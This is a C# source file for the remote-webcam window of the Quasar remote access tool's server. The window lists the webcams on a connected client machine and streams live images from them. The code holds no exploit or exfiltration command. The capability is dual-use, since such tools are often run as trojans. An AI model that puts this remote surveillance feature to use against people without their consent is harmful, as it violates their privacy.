using Quasar.Common.Messages;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Messages;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using Quasar.Server.Utilities;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmRemoteWebcam : Form
    {
        private readonly Client _connectClient;
        private WebcamHandler _webcamHandler;
        private readonly Stopwatch _sw = new Stopwatch();
        private int _fpsCounter;
        private bool _isStreaming;

        private static readonly System.Collections.Generic.Dictionary<Client, FrmRemoteWebcam> OpenedForms =
            new System.Collections.Generic.Dictionary<Client, FrmRemoteWebcam>();

        public static FrmRemoteWebcam CreateNewOrGetExisting(Client client)
        {
            if (OpenedForms.ContainsKey(client))
            {
                var existing = OpenedForms[client];
                if (!existing.IsDisposed)
                    return existing;
                OpenedForms.Remove(client);
            }
            var frm = new FrmRemoteWebcam(client);
            frm.Disposed += (s, e) => OpenedForms.Remove(client);
            OpenedForms.Add(client, frm);
            return frm;
        }

        public FrmRemoteWebcam(Client client)
        {
            _connectClient = client;
            InitializeComponent();
            _connectClient.ClientState += OnClientStateChange;
        }

        private void RegisterMessageHandler()
        {
            _webcamHandler = new WebcamHandler();
            _webcamHandler.ImageReceived += OnImageReceived;
            _webcamHandler.WebcamsReceived += OnWebcamsReceived;
            MessageHandler.Register(_webcamHandler);
        }

        private void UnregisterMessageHandler()
        {
            if (_webcamHandler == null) return;
            MessageHandler.Unregister(_webcamHandler);
            _webcamHandler.ImageReceived -= OnImageReceived;
            _webcamHandler.WebcamsReceived -= OnWebcamsReceived;
            _webcamHandler.Dispose();
            _webcamHandler = null;
        }

        private void OnClientStateChange(Client s, bool connected)
        {
            if (!connected)
                this.Invoke((MethodInvoker)Close);
        }

        private void FrmRemoteWebcam_Load(object sender, EventArgs e)
        {
            if (Settings.DarkMode) DarkModeManager.ApplyDarkMode(this);
            ThemeManager.ApplyThemeToNewForm(this);
            this.Text = $"Remote Webcam - {_connectClient.EndPoint.Address}:{_connectClient.EndPoint.Port}";
            RegisterMessageHandler();
            _connectClient.Send(new GetWebcams());
        }

        private void OnImageReceived(object sender, byte[] data)
        {
            if (data == null || data.Length == 0 || IsDisposed) return;
            try
            {
                this.BeginInvoke((MethodInvoker)delegate
                {
                    if (IsDisposed || !_isStreaming) return;
                    try
                    {
                        using (var ms = new MemoryStream(data))
                        {
                            var img = Image.FromStream(ms);
                            var old = pictureBox1.Image;
                            pictureBox1.Image = img;
                            old?.Dispose();
                        }
                        _fpsCounter++;
                        if (_sw.ElapsedMilliseconds >= 1000)
                        {
                            lblFPS.Text = $"FPS: {_fpsCounter / (_sw.ElapsedMilliseconds / 1000.0):F1}";
                            _fpsCounter = 0;
                            _sw.Restart();
                        }
                    }
                    catch { }
                });
            }
            catch { }
        }

        private void OnWebcamsReceived(object sender, string webcams)
        {
            if (IsDisposed) return;
            try
            {
                this.BeginInvoke((MethodInvoker)delegate
                {
                    if (IsDisposed) return;
                    comboBox1.Items.Clear();
                    foreach (var cam in webcams.Split(new[] { "=>" }, StringSplitOptions.RemoveEmptyEntries))
                    {
                        var name = cam.TrimStart('-').Trim();
                        if (!string.IsNullOrWhiteSpace(name))
                            comboBox1.Items.Add(name);
                    }

                    if (comboBox1.Items.Count > 0)
                    {
                        comboBox1.SelectedIndex = 0;
                        comboBox1.Enabled = true;
                        btnStart.Enabled = true;
                        trackBarQuality.Enabled = true;
                    }
                    else
                    {
                        MessageBox.Show("No webcams found on the client.", "Webcam",
                            MessageBoxButtons.OK, MessageBoxIcon.Information);
                        Close();
                    }
                });
            }
            catch { }
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            _connectClient.Send(new DoWebcamStart
            {
                CameraIndex = comboBox1.SelectedIndex,
                Quality = trackBarQuality.Value
            });
            btnStart.Enabled = false;
            btnStop.Enabled = true;
            trackBarQuality.Enabled = false;
            comboBox1.Enabled = false;
            _isStreaming = true;
            _fpsCounter = 0;
            _sw.Restart();
        }

        private void btnStop_Click(object sender, EventArgs e)
        {
            StopStream();
        }

        private void StopStream()
        {
            if (!_isStreaming) return;
            _isStreaming = false;
            _connectClient.Send(new DoWebcamStop());
            btnStart.Enabled = true;
            btnStop.Enabled = false;
            trackBarQuality.Enabled = true;
            comboBox1.Enabled = true;
            lblFPS.Text = "FPS: 0.0";
            _fpsCounter = 0;
            _sw.Reset();
            var old = pictureBox1.Image;
            pictureBox1.Image = null;
            old?.Dispose();
        }

        private void btnHide_Click(object sender, EventArgs e)
        {
            WindowState = FormWindowState.Minimized;
        }

        private void trackBarQuality_Scroll(object sender, EventArgs e)
        {
            int v = trackBarQuality.Value;
            lblQuality.Text = $"{v} ({(v >= 80 ? "high" : v >= 50 ? "medium" : "low")})";
            if (_isStreaming)
            {
                _connectClient.Send(new DoWebcamStop());
                _connectClient.Send(new DoWebcamStart
                {
                    CameraIndex = comboBox1.SelectedIndex,
                    Quality = v
                });
            }
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            if (!_connectClient.Connected)
                Close();
        }

        private void FrmRemoteWebcam_FormClosed(object sender, FormClosedEventArgs e)
        {
            timer1.Stop();
            _connectClient.ClientState -= OnClientStateChange;
            if (_isStreaming)
            {
                _isStreaming = false;
                try { _connectClient.Send(new DoWebcamStop()); } catch { }
            }
            UnregisterMessageHandler();
            var old = pictureBox1.Image;
            pictureBox1.Image = null;
            old?.Dispose();
        }
    }
}
